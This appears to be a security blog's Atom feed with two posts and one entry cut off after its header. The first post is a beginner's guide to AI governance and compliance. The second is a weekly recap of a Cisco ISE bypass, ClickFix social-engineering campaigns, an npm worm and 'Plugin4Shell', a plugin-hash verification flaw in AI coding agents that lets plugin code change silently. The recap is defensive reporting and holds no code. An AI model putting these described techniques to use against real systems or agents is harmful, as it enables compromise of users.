<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://blog.haxnation.org</id>
    <title>Haxnation Blog Blog</title>
    <updated>2026-09-26T09:00:00.000Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://blog.haxnation.org"/>
    <subtitle>Haxnation Blog Blog</subtitle>
    <icon>https://blog.haxnation.org/img/favicon.svg</icon>
    <rights>Copyright © 2026 Haxnation. All rights reserved.</rights>
    <entry>
        <title type="html"><![CDATA[GRC for AI: A Beginner's Guide to Governance, Risk, and Compliance]]></title>
        <id>https://blog.haxnation.org/grc-for-ai</id>
        <link href="https://blog.haxnation.org/grc-for-ai"/>
        <updated>2026-09-26T09:00:00.000Z</updated>
        <summary type="html"><![CDATA[What GRC is, why it suddenly matters in the age of AI, and how organizations actually use it - in plain language, with real examples.]]></summary>
        <content type="html"><![CDATA[<p>Imagine you walk into your bank and apply for a loan. You hand over your salary slips, your PAN card, your address, your spending history. That data doesn't just sit in a drawer — the bank uses it, stores it, and shares parts of it with credit bureaus, insurers, and regulators. But there's one thing the bank is <em>not</em> allowed to do: hand your data over to some random third party so that party can profit from it. Banking regulation exists precisely to stop that.</p>
<p>Now compare that to a free AI chatbot. Paste the same salary slip into it to "summarize my finances," and by default, on many consumer AI tools, that conversation can be stored and used to improve the company's models — unless you specifically go into settings and opt out. It's not illegal, it's usually disclosed somewhere in the terms of service, but it's a completely different data relationship than the one you have with your bank. Nobody signed you up for it explicitly, and most people never read the settings page closely enough to notice.</p>
<p>That gap — the difference between "data handled inside a regulated, accountable system" and "data handled inside a system with looser or unclear rules" — is exactly the problem <strong>GRC</strong> exists to close.</p>
<p>This post breaks down what GRC is, why it suddenly matters so much in the age of AI, and how organizations actually use it — in plain language, with real examples.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-grc">What is GRC?<a href="https://blog.haxnation.org/grc-for-ai#what-is-grc" class="hash-link" aria-label="Direct link to What is GRC?" title="Direct link to What is GRC?" translate="no">​</a></h2>
<p>GRC stands for <strong>Governance, Risk, and Compliance</strong>.</p>
<p>It's a structured approach organizations use to make sure technology (and now, specifically, AI) is used safely, responsibly, and within the law — instead of everything happening in an unmonitored, ad-hoc way.</p>
<p>A simple way to think about the three pieces:</p>
<ul>
<li class=""><strong>Governance</strong> — who decides the rules, and who is accountable for them. In the bank example, this is the bank's internal data-handling policy plus the regulations RBI imposes on it.</li>
<li class=""><strong>Risk</strong> — what could go wrong, and how likely and damaging is it. What happens if that salary data leaks? What happens if an AI model trained partly on customer data starts leaking patterns back out to other users?</li>
<li class=""><strong>Compliance</strong> — are we actually following the laws and standards we're supposed to. Is the bank actually enforcing its own policy, or is it just a PDF nobody reads?</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-ai-risk-landscape-why-this-suddenly-matters">The AI Risk Landscape: Why This Suddenly Matters<a href="https://blog.haxnation.org/grc-for-ai#the-ai-risk-landscape-why-this-suddenly-matters" class="hash-link" aria-label="Direct link to The AI Risk Landscape: Why This Suddenly Matters" title="Direct link to The AI Risk Landscape: Why This Suddenly Matters" translate="no">​</a></h2>
<p>Here's a scenario almost everyone can relate to: we give AI tools like ChatGPT <em>everything</em> — our questions, our documents, sometimes even sensitive company data — but we rarely stop to ask what happens to that data after we hit send.</p>
<p>This isn't hypothetical. In 2023, engineers at <strong>Samsung's semiconductor division</strong> pasted confidential source code and internal meeting notes into ChatGPT to get help fixing bugs and summarizing meetings. Because that data left the company's systems and entered a third-party AI tool, Samsung had no way to guarantee it wouldn't be retained, reviewed, or used elsewhere. The company responded by banning generative AI tools on company devices entirely and started building internal AI tools instead. This single incident is now one of the most cited case studies in enterprise AI governance — it's the textbook example of what happens when there's no GRC policy governing how employees use AI.</p>
<p>Many people assume "it's fine, our data probably doesn't leave our country" or "surely they don't actually use my chats" — but those are assumptions, not guarantees, and they depend entirely on the specific tool, its data-residency settings, its subscription tier, and its contract terms. For instance, OpenAI has stated that consumer ChatGPT conversations may by default be used to help train and improve its models unless the user actively opts out in settings — while its business/API tiers are handled differently. That's a legitimate business practice, disclosed in the terms of service — but it's precisely the kind of detail a GRC framework forces an organization to actually check, rather than assume.</p>
<p>This is exactly why organizations that handle sensitive data increasingly look at private, self-hosted, or enterprise-tier AI deployments — with contractual guarantees around data use — rather than relying purely on free public AI tools.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="example-bfsi-banking-financial-services-and-insurance">Example: BFSI (Banking, Financial Services, and Insurance)<a href="https://blog.haxnation.org/grc-for-ai#example-bfsi-banking-financial-services-and-insurance" class="hash-link" aria-label="Direct link to Example: BFSI (Banking, Financial Services, and Insurance)" title="Direct link to Example: BFSI (Banking, Financial Services, and Insurance)" translate="no">​</a></h3>
<p>This is exactly why the <strong>BFSI sector</strong> is so cautious with AI. A bank can't let customer financial data flow freely into an external AI tool — a leak here isn't just embarrassing, it can trigger regulatory penalties, lawsuits, and a total collapse of customer trust. Going back to our opening example: the bank is bound, by law and by contract, to protect your salary data. A general-purpose AI company with no such binding relationship to you is under no obligation to treat your data with the same level of care — unless a GRC framework is deliberately built to require it.</p>
<p>This is where GRC steps in: it creates rules for how AI can be used, and shapes those rules so that data stays safe and the organization stays accountable — closing exactly the gap illustrated above.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="adapting-your-grc-framework-for-ai">Adapting Your GRC Framework for AI<a href="https://blog.haxnation.org/grc-for-ai#adapting-your-grc-framework-for-ai" class="hash-link" aria-label="Direct link to Adapting Your GRC Framework for AI" title="Direct link to Adapting Your GRC Framework for AI" translate="no">​</a></h2>
<p>AI systems make mistakes — they can hallucinate facts, encode bias, or leak information they shouldn't. Because of this, organizations are adapting their GRC programs with AI-specific standards and frameworks. Here are the major ones, explained simply:</p>
<ul>
<li class="">
<p><strong>ISO/IEC 27001</strong> — the long-standing international standard for information security management systems (ISMS). It's about protecting <em>all</em> organizational information, not AI-specific, but it's the foundation most AI governance work builds on top of.</p>
</li>
<li class="">
<p><strong>ISO/IEC 42001</strong> — the world's first international standard specifically for an <strong>AI Management System (AIMS)</strong>, published in December 2023. It gives organizations a certifiable, auditable way to govern how they develop, provide, or use AI — covering things like risk assessment, transparency, and accountability across the AI lifecycle. Companies including AWS, Microsoft, and Anthropic have been certified against it.</p>
</li>
<li class="">
<p><strong>NIST AI Risk Management Framework (AI RMF)</strong> — a voluntary framework from the US National Institute of Standards and Technology, first published in January 2023. It's built around four core functions:</p>
<ul>
<li class=""><strong>Govern</strong> — build the culture, policies, and accountability structures that hold everything together</li>
<li class=""><strong>Map</strong> — understand the context: what is this AI system for, who does it affect, what could go wrong</li>
<li class=""><strong>Measure</strong> — actually test and quantify the risks (bias, security gaps, reliability issues)</li>
<li class=""><strong>Manage</strong> — act on what you found: prioritize, fix, and keep monitoring</li>
</ul>
<p>In July 2024, NIST extended this with a <strong>Generative AI Profile</strong>, adding risk categories specific to large language models — things like hallucination, data poisoning, and misuse for harmful content generation. Unlike ISO 42001, the NIST AI RMF is <strong>not certifiable</strong> — it's a shared vocabulary and methodology, not a badge you can earn.</p>
</li>
<li class="">
<p><strong>RBI / SEBI</strong> — India's financial regulators. The most significant recent development here is the RBI's <strong>FREE-AI Framework</strong> (Framework for Responsible and Ethical Enablement of Artificial Intelligence), released on 13 August 2025 after a committee chaired by IIT Bombay's Prof. Pushpak Bhattacharyya. It sets out 7 guiding principles ("Sutras") and 26 recommendations across six pillars — Infrastructure, Policy, Capacity, Governance, Protection, and Assurance — for how Indian banks, NBFCs, and fintechs should govern their use of AI, covering bias, explainability, cybersecurity, and incident reporting.</p>
</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="a-simple-mental-model-4-layers-of-ai-governance">A Simple Mental Model: 4 Layers of AI Governance<a href="https://blog.haxnation.org/grc-for-ai#a-simple-mental-model-4-layers-of-ai-governance" class="hash-link" aria-label="Direct link to A Simple Mental Model: 4 Layers of AI Governance" title="Direct link to A Simple Mental Model: 4 Layers of AI Governance" translate="no">​</a></h2>
<p>Beyond specific standards, it helps to have a simple internal model for how AI governance actually works day-to-day inside a team. One useful way to structure it:</p>
<p><strong>1. Govern</strong>
Decide the policies and rules for how AI can and can't be used in the organization. This includes staying current — following credible security and AI governance blogs, vendor advisories, and regulator updates. This is also where an organization would have written the rule Samsung didn't have in early 2023: "do not paste source code or confidential documents into third-party AI tools."</p>
<p><strong>2. Identify</strong>
Actively look for vulnerabilities and risks in your AI systems. A classic example: your AI model might be biased against certain groups — for instance, evaluating loan applications less favorably for one demographic than another purely due to skewed training data. Catching this early is the whole point of this step.</p>
<p><strong>3. Control</strong>
Once a risk is identified, put safeguards in place to prevent it from actually happening — access controls, output filtering, human review for high-stakes decisions, blocking uploads of certain file types to consumer AI tools, and so on.</p>
<p><strong>4. Monitor</strong>
Governance doesn't stop at deployment. This is the continuous work of watching the AI system in production to make sure it keeps behaving as expected — and watching <em>how employees are actually using AI tools</em> day to day, since that's where most real-world incidents (like Samsung's) actually happen.</p>
<p><em>(Note: this four-layer model is a practical mental map for teams, not a formal named standard — it's a simplified way to think through the lifecycle, distinct from the official NIST AI RMF functions listed above.)</em></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="regulator-reality-the-laws-you-actually-have-to-follow-india-focus">Regulator Reality: The Laws You Actually Have to Follow (India Focus)<a href="https://blog.haxnation.org/grc-for-ai#regulator-reality-the-laws-you-actually-have-to-follow-india-focus" class="hash-link" aria-label="Direct link to Regulator Reality: The Laws You Actually Have to Follow (India Focus)" title="Direct link to Regulator Reality: The Laws You Actually Have to Follow (India Focus)" translate="no">​</a></h2>
<ul>
<li class=""><strong>DPDP Act, 2023</strong> (Digital Personal Data Protection Act) — India's dedicated personal data protection law, enacted 11 August 2023.</li>
<li class=""><strong>RBI Master Directions / FREE-AI Framework</strong> — sector-specific rules and guidance for regulated financial entities.</li>
<li class=""><strong>ISO/IEC standards</strong> — including 27001 and 42001, discussed above.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-ai-teams-must-know-about-the-dpdp-act-2023">What AI Teams Must Know About the DPDP Act, 2023<a href="https://blog.haxnation.org/grc-for-ai#what-ai-teams-must-know-about-the-dpdp-act-2023" class="hash-link" aria-label="Direct link to What AI Teams Must Know About the DPDP Act, 2023" title="Direct link to What AI Teams Must Know About the DPDP Act, 2023" translate="no">​</a></h3>
<ul>
<li class=""><strong>Consent is central.</strong> Processing personal data generally requires clear, informed consent from the "Data Principal" (the individual the data belongs to) — organizations can't assume old consent automatically covers new AI use cases. This is exactly the difference between our bank and AI-chatbot example: the bank has explicit consent for a defined purpose (processing your loan), while a general AI tool's consent is buried in a terms-of-service checkbox most people never read.</li>
<li class=""><strong>Extra protection for children's data.</strong> The Act requires verifiable parental/guardian consent before processing a child's personal data, and bars tracking, behavioral monitoring, or targeted advertising directed at children.</li>
<li class=""><strong>Right to grievance redressal and correction.</strong> Data Principals have rights including access, correction, erasure, and grievance redressal — companies need to be able to explain how someone's data is being used.</li>
<li class=""><strong>A dedicated regulator exists.</strong> The <strong>Data Protection Board of India (DPBI)</strong> handles breach investigations, complaints, and enforcement.</li>
<li class=""><strong>Penalties are significant.</strong> Depending on the violation, financial penalties can reach up to ₹250 crore (roughly USD 30 million) for failing to implement reasonable security safeguards leading to a breach, with other violation categories carrying penalties up to ₹200 crore or ₹50 crore. Individuals (Data Principals) can also be fined up to ₹10,000 for violating their own duties under the Act, such as furnishing false information.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="data-fiduciary-whos-responsible">Data Fiduciary: Who's Responsible?<a href="https://blog.haxnation.org/grc-for-ai#data-fiduciary-whos-responsible" class="hash-link" aria-label="Direct link to Data Fiduciary: Who's Responsible?" title="Direct link to Data Fiduciary: Who's Responsible?" translate="no">​</a></h2>
<p>Under the DPDP Act, any entity that decides <em>why</em> and <em>how</em> personal data is processed is called a <strong>Data Fiduciary</strong>, and it is directly responsible for protecting that data — this is not optional. Your bank is a Data Fiduciary for your loan data. If a company builds an internal AI tool that processes customer data, that company becomes a Data Fiduciary for whatever that AI tool touches too — the obligation follows the data, not just the original collection point.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-happens-if-theres-a-breach">What Happens If There's a Breach?<a href="https://blog.haxnation.org/grc-for-ai#what-happens-if-theres-a-breach" class="hash-link" aria-label="Direct link to What Happens If There's a Breach?" title="Direct link to What Happens If There's a Breach?" translate="no">​</a></h3>
<ul>
<li class="">If a breach occurs, the Data Fiduciary is expected to notify the Data Protection Board and the affected individuals without undue delay so they can protect themselves.</li>
<li class=""><strong>Penalties</strong> scale with the severity and nature of the violation, as outlined above — this is exactly why GRC isn't just paperwork; it has real financial and legal consequences attached to it.</li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="shadow-ai-the-risk-most-organizations-underestimate">Shadow AI: The Risk Most Organizations Underestimate<a href="https://blog.haxnation.org/grc-for-ai#shadow-ai-the-risk-most-organizations-underestimate" class="hash-link" aria-label="Direct link to Shadow AI: The Risk Most Organizations Underestimate" title="Direct link to Shadow AI: The Risk Most Organizations Underestimate" translate="no">​</a></h2>
<p>One risk worth calling out on its own: <strong>"Shadow AI"</strong> — employees using AI tools the organization never approved, reviewed, or even knows about. Samsung's 2023 incident is a textbook Shadow AI case: individual engineers, trying to be helpful and efficient, used a public tool without realizing they were moving confidential data outside the company's control. A mature GRC program doesn't just write a policy and hope people read it — it actively looks for where AI tools are already being used across the organization (browser extensions, personal accounts, free-tier signups) so it can bring that usage under governance rather than banning it outright and pushing it further underground.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="5-things-a-grc-team-should-do-to-get-started">5 Things a GRC Team Should Do to Get Started<a href="https://blog.haxnation.org/grc-for-ai#5-things-a-grc-team-should-do-to-get-started" class="hash-link" aria-label="Direct link to 5 Things a GRC Team Should Do to Get Started" title="Direct link to 5 Things a GRC Team Should Do to Get Started" translate="no">​</a></h2>
<p>If an organization wants to get serious about AI GRC, here's a simple starting checklist:</p>
<ol>
<li class=""><strong>Build an AI inventory</strong> — know exactly which AI tools and models are being used across the organization, including the kind of Shadow AI usage described above</li>
<li class=""><strong>Appoint an AI risk owner</strong> — someone directly accountable for AI-related risk decisions</li>
<li class=""><strong>Run a DPDP consent audit</strong> — verify that valid, specific consent actually exists for how data is being used with AI tools</li>
<li class=""><strong>Pilot ISO/IEC 42001 controls</strong> — start testing this AI-specific management system standard in one business unit before rolling it out organization-wide</li>
<li class=""><strong>Brief the board</strong> — make sure leadership understands the risks involved and is aligned on the governance plan</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-cisos-ai-grc-charter">The CISO's AI GRC Charter<a href="https://blog.haxnation.org/grc-for-ai#the-cisos-ai-grc-charter" class="hash-link" aria-label="Direct link to The CISO's AI GRC Charter" title="Direct link to The CISO's AI GRC Charter" translate="no">​</a></h2>
<p>At the end of the day, it comes down to a simple idea:</p>
<p><strong>GRC professionals are the new guardians of trustworthy AI.</strong></p>
<p>As AI becomes part of everyday business operations, the people managing Governance, Risk, and Compliance aren't "checking boxes" anymore — they're the ones standing between an organization and serious data, legal, and reputational damage. The line between "a bank that protects your data" and "a tool that quietly trains on it" isn't drawn by the technology itself — it's drawn by governance.</p>
<hr>
<p><em>That's GRC in a nutshell: it's not about slowing AI down — it's about making sure it's used responsibly enough that it doesn't blow up in an organization's face later.</em></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sources">Sources<a href="https://blog.haxnation.org/grc-for-ai#sources" class="hash-link" aria-label="Direct link to Sources" title="Direct link to Sources" translate="no">​</a></h2>
<ul>
<li class="">ISO — <a href="https://www.iso.org/home/insights-news/resources/iso-42001-explained-what-it-is.html" target="_blank" rel="noopener noreferrer" class="">ISO/IEC 42001 explained</a></li>
<li class="">NIST — AI Risk Management Framework (AI RMF 1.0), January 2023; Generative AI Profile (NIST AI 600-1), July 2024</li>
<li class="">Reserve Bank of India — FREE-AI Committee Report, 13 August 2025</li>
<li class="">Digital Personal Data Protection Act, 2023 (Act 22 of 2023), Government of India</li>
<li class="">Bloomberg / Fortune — Samsung ChatGPT data leak and generative AI ban, May 2023</li>
<li class="">OpenAI — "How your data is used to improve model performance," Data Controls FAQ</li>
</ul>]]></content>
        <author>
            <name>Rishi Shukla</name>
            <uri>https://github.com/24rishishukla-dev</uri>
        </author>
        <category label="GRC" term="GRC"/>
        <category label="AI Governance" term="AI Governance"/>
        <category label="Cybersecurity" term="Cybersecurity"/>
        <category label="Compliance" term="Compliance"/>
        <category label="ISO 42001" term="ISO 42001"/>
        <category label="NIST AI RMF" term="NIST AI RMF"/>
        <category label="DPDP Act" term="DPDP Act"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[This Week: A Perfect 10, an AI Agent Blind Spot, and ClickFix Everywhere]]></title>
        <id>https://blog.haxnation.org/this-week-trusted-things-behaving-badly</id>
        <link href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly"/>
        <updated>2026-09-22T09:00:00.000Z</updated>
        <summary type="html"><![CDATA[A maximum-severity Cisco bypass under active exploitation, a supply-chain bug that broke four major AI coding agents at once, three separate ClickFix campaigns, and an npm worm that waited 111 days to come back. This week had a theme.]]></summary>
        <content type="html"><![CDATA[<p>A browser. A plugin. An npm package. A login screen. All normal stuff, and all the source of a real incident this week. Nothing here is exotic. It's mostly things people already trusted, doing something they weren't supposed to.</p>
<p>Five stories stood out. Put them side by side and a pattern shows up fast.</p>
<p><img decoding="async" loading="lazy" alt="Week at a glance: five stories from September 15 to 21, 2026" src="https://blog.haxnation.org/assets/images/week-at-a-glance-00ad42b0a9de248922b3b9866e3b659a.svg" width="900" height="340" class="img_ev3q">
<em>Fig. 1: The week's five headline numbers, from Cisco's perfect-10 CVE to the Glasswing ledger's fix rate.</em></p>



































<table><thead><tr><th>Story</th><th>Number</th><th>What it means</th></tr></thead><tbody><tr><td>Cisco ISE auth bypass</td><td>CVSS 10.0</td><td>Unauthenticated, actively exploited</td></tr><tr><td>AI coding agents hit by Plugin4Shell</td><td>4</td><td>2 patched, 2 not</td></tr><tr><td>Sites hit in the Brevo ClickFix attack</td><td>100,000+</td><td>One five-and-a-half-hour window</td></tr><tr><td>Shai-Hulud's dormancy before resurfacing</td><td>111 days</td><td>Sat untouched in 4 new npm packages</td></tr><tr><td>Glasswing avg. fixed findings per project</td><td>1.79</td><td>5 months into the initiative</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="ciscos-perfect-10">Cisco's Perfect 10<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#ciscos-perfect-10" class="hash-link" aria-label="Direct link to Cisco's Perfect 10" title="Direct link to Cisco's Perfect 10" translate="no">​</a></h2>
<p>Start with the one that needs the least explaining. Cisco disclosed CVE-2026-76460, a maximum-severity flaw (CVSS 10.0) in Identity Services Engine, and it's already under active exploitation. The root cause is almost boring: an API endpoint with insufficient authentication control. Send it a crafted request, and an unauthenticated remote attacker walks past the web-based management interface entirely.</p>
<p>ISE sits at the center of a lot of enterprise network access control. A bug here isn't "patch when convenient." If you're running it, this is a today problem, not a this-sprint problem.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-bug-that-broke-four-ai-coding-agents-at-once">The Bug That Broke Four AI Coding Agents at Once<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#the-bug-that-broke-four-ai-coding-agents-at-once" class="hash-link" aria-label="Direct link to The Bug That Broke Four AI Coding Agents at Once" title="Direct link to The Bug That Broke Four AI Coding Agents at Once" translate="no">​</a></h2>
<p>I covered this one in more depth last week, but it's worth restating because the story kept moving. AIR Security's researchers, Or Nevo, Dor Granat, and Niv Hoffman, found that Claude Code, OpenAI Codex, GitHub Copilot, and Google's Gemini CLI all share a design flaw they're calling Plugin4Shell.</p>
<p>The setup: plugin marketplaces pin installed code to a specific, reviewed Git commit hash. That's supposed to guarantee the code can't change without someone noticing. What AIR found is that all four agents perform the checkout step but never verify the result actually matches the pinned hash.</p>
<!-- -->
<p>No click required, because plugins can refresh in the background. You install something legitimate, reviewed, and correctly pinned, and the ground shifts under it later.</p>
<p>Patch status, as of this week:</p>






























<table><thead><tr><th>Agent</th><th>Status</th><th>Fixed in</th></tr></thead><tbody><tr><td>Claude Code</td><td>Patched</td><td>2.1.179</td></tr><tr><td>OpenAI Codex</td><td>Patched</td><td>0.146.0</td></tr><tr><td>GitHub Copilot</td><td>Disputed</td><td>No confirmed complete fix</td></tr><tr><td>Gemini CLI</td><td>Won't be patched</td><td>Deprecated, migrate to Antigravity</td></tr></tbody></table>
<p>Four teams, four different codebases, and every one of them made the same assumption: that checking out a commit is the same as verifying you got it. That's not a coincidence. It's a sign the security model around agentic coding tools is still catching up to how much access those tools actually have.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="clickfix-isnt-one-attack-anymore-its-a-technique">ClickFix Isn't One Attack Anymore, It's a Technique<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#clickfix-isnt-one-attack-anymore-its-a-technique" class="hash-link" aria-label="Direct link to ClickFix Isn't One Attack Anymore, It's a Technique" title="Direct link to ClickFix Isn't One Attack Anymore, It's a Technique" translate="no">​</a></h2>
<p>ClickFix used to mean one specific trick: a fake CAPTCHA or fake error message that talks a victim into pasting a command into Run or Terminal. This week it showed up three separate ways, against three very different targets.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="campaign-1-a-researcher-targeted-directly">Campaign 1: A researcher, targeted directly<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#campaign-1-a-researcher-targeted-directly" class="hash-link" aria-label="Direct link to Campaign 1: A researcher, targeted directly" title="Direct link to Campaign 1: A researcher, targeted directly" translate="no">​</a></h3>
<p>Huntress detailed an attack where someone posing as a crypto marketing exec sent a security researcher a real Google Doc with a malicious sidebar built as a Google Apps Script. The sidebar displayed a fake decryption failure and a "manual update" button. Clicking it delivered an AMOS infostealer on macOS or a PowerShell loader chain on Windows, and none of it required downloading a file, since the script ran client-side in the browser.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="campaign-2-a-supply-chain-at-scale">Campaign 2: A supply chain, at scale<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#campaign-2-a-supply-chain-at-scale" class="hash-link" aria-label="Direct link to Campaign 2: A supply chain, at scale" title="Direct link to Campaign 2: A supply chain, at scale" translate="no">​</a></h3>
<p>Customer engagement platform Brevo had a Cloudflare API key compromised, which let an attacker deploy a malicious Cloudflare Worker for roughly five and a half hours.</p>
<!-- -->
<p>In that window, the worker injected a fake CAPTCHA overlay into Brevo's own site and into JavaScript files embedded on more than 100,000 customer websites, including into unsubscribe links in Brevo-sent campaign emails. Security firm Sansec separately reported that the same access was used to plant WordPress malware on customer sites.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="campaign-3-aimed-at-the-attackers-themselves">Campaign 3: Aimed at the attackers themselves<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#campaign-3-aimed-at-the-attackers-themselves" class="hash-link" aria-label="Direct link to Campaign 3: Aimed at the attackers themselves" title="Direct link to Campaign 3: Aimed at the attackers themselves" translate="no">​</a></h3>
<p>Cisco Talos documented a cryptocurrency-theft campaign that convinces its targets, people looking to exploit fake vulnerability reports about crypto swap services, to paste JavaScript directly into the Chrome address bar or a Tampermonkey extension. The script hooks the browser's fetch API and quietly swaps out deposit addresses. Command-and-control runs through a publicly published Google Sheets document and the Google Visualization API, a genuinely clever way to hide C2 traffic in plain sight.</p>
<p>Three campaigns, three different victim profiles, one shared insight: getting someone to run a command themselves is still easier than finding a real exploit, whether the target is a security researcher, a marketing platform's customer base, or a would-be cybercriminal.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="shai-hulud-came-back-after-111-days">Shai-Hulud Came Back After 111 Days<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#shai-hulud-came-back-after-111-days" class="hash-link" aria-label="Direct link to Shai-Hulud Came Back After 111 Days" title="Direct link to Shai-Hulud Came Back After 111 Days" translate="no">​</a></h2>
<p>Aikido Security found the Shai-Hulud worm in four new npm packages this week, the same malware family first seen in May's attack against AntV. That's not what makes it worth noting. What makes it worth noting is the gap: a payload with a known, published hash sat untouched for over three months, then got republished on a registry that explicitly scans every package before it goes live, and the scan didn't catch it.</p>
<p>That's the actual lesson. Not "a worm came back," but that hash-based detection has a real hole in it somewhere, and nobody's fully explained where yet.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-glasswing-numbers-five-months-in">The Glasswing Numbers, Five Months In<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#the-glasswing-numbers-five-months-in" class="hash-link" aria-label="Direct link to The Glasswing Numbers, Five Months In" title="Direct link to The Glasswing Numbers, Five Months In" translate="no">​</a></h2>
<p>Anthropic's Project Glasswing, its initiative to have Claude find and report real vulnerabilities across open-source projects, has been running for about five months. VulnCheck pulled the public ledger and the numbers are rougher than the project's own messaging suggests: 202 of 26,153 claimed findings fixed, 245 withdrawn, and only 2 marked as duplicates. That averages out to under two fixed findings per project across the 113 projects touched.</p>
<p>There's also a real gap in severity judgment. Claude rated 91.5% of its findings as critical or high severity. The maintainers who actually reviewed them rated only 51.3% that way. Automated vulnerability discovery at scale is genuinely useful, but this is a good reminder that the discovery step and the triage step are not the same problem, and solving one doesn't solve the other.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="whats-actually-worth-doing-this-week">What's Actually Worth Doing This Week<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#whats-actually-worth-doing-this-week" class="hash-link" aria-label="Direct link to What's Actually Worth Doing This Week" title="Direct link to What's Actually Worth Doing This Week" translate="no">​</a></h2>
<ul>
<li class="">If you run <strong>Cisco ISE</strong>, check your version against CVE-2026-76460 now. This one's being actively exploited.</li>
<li class="">If you or your team use <strong>Claude Code or Codex</strong>, confirm you're on 2.1.179 or 0.146.0 or later.</li>
<li class="">If you're still on <strong>GitHub Copilot or Gemini CLI</strong> with plugins installed, audit what you've got and where it's hosted. Non-GitHub Git hosts are the higher-risk path for Plugin4Shell specifically.</li>
<li class="">If your org embeds <strong>third-party widgets</strong> (chat, forms, analytics) on customer-facing pages, ask what happens if that vendor's API key leaks. Brevo's incident is a good prompt for that conversation regardless of which vendor you use.</li>
<li class="">Treat <strong>hash-verified npm packages</strong> as a starting point, not a guarantee. Shai-Hulud's return shows registry scanning has blind spots even against known payloads.</li>
</ul>
<p>Nothing this week required a novel technique. It required someone finding the one verification step that got skipped, and there's apparently no shortage of those left.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="sources">Sources<a href="https://blog.haxnation.org/this-week-trusted-things-behaving-badly#sources" class="hash-link" aria-label="Direct link to Sources" title="Direct link to Sources" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://thehackernews.com/2026/09/weekly-recap-cisco-0-day-ai-agent-rce.html" target="_blank" rel="noopener noreferrer" class="">The Hacker News: Weekly Recap, September 21, 2026</a></li>
<li class=""><a href="https://thehackernews.com/2026/09/cisco-warns-of-new-zero-day-ise-auth.html" target="_blank" rel="noopener noreferrer" class="">The Hacker News: Cisco Warns of New Zero-Day ISE Auth Bypass</a></li>
<li class=""><a href="https://thehackernews.com/2026/09/plugin4shell-lets-repository-owners.html" target="_blank" rel="noopener noreferrer" class="">The Hacker News: Plugin4Shell Lets Repository Owners...</a></li>
<li class=""><a href="https://www.helpnetsecurity.com/?p=385068" target="_blank" rel="noopener noreferrer" class="">Help Net Security: Zero-click RCE vulnerability hit four major AI coding agents</a></li>
<li class=""><a href="https://www.huntress.com/blog/google-doc-sidebar-malware-mac-windows" target="_blank" rel="noopener noreferrer" class="">Huntress: Google Doc sidebar malware</a></li>
<li class=""><a href="https://status.brevo.com/incidents/01M2QBC4EZ24ZACW6SWQYVW8N3/write-up" target="_blank" rel="noopener noreferrer" class="">Brevo: Cloudflare Worker incident write-up</a></li>
<li class=""><a href="https://sansec.io/research/brevo-supply-chain-attack" target="_blank" rel="noopener noreferrer" class="">Sansec: Brevo supply chain attack research</a></li>
<li class=""><a href="https://blog.talosintelligence.com/clickfix-moves-into-the-browser/" target="_blank" rel="noopener noreferrer" class="">Cisco Talos: ClickFix moves into the browser</a></li>
<li class=""><a href="https://www.aikido.dev/blog/shai-hulud-npm-resurfaces" target="_blank" rel="noopener noreferrer" class="">Aikido: Shai-Hulud npm resurfaces</a></li>
<li class=""><a href="https://www.vulncheck.com/blog/anthropic-glasswing-receipts" target="_blank" rel="noopener noreferrer" class="">VulnCheck: Anthropic Glasswing receipts</a></li>
</ul>]]></content>
        <author>
            <name>Arham Sayyed</name>
            <uri>https://github.com/arham-sayyed</uri>
        </author>
        <category label="Cybersecurity" term="Cybersecurity"/>
        <category label="Weekly-Recap" term="Weekly-Recap"/>
        <category label="AI-Security" term="AI-Security"/>
        <category label="Supply-Chain" term="Supply-Chain"/>
        <category label="ClickFix" term="ClickFix"/>
        <category label="Cisco" term="Cisco"/>
        <category label="npm" term="npm"/>
        <category label="Zero-Day" term="Zero-Day"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Red Team vs Blue Team in the Cloud - What Changes When the Battlefield Is AWS]]></title>
        <id>https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws</id>
        <link href="https://blog.haxnation.org/2026-09-22-red-team-vs-blue-team-in-the-cloud-aws"/>
        <updated>2026-09-22T04:00:00.000Z</updated>
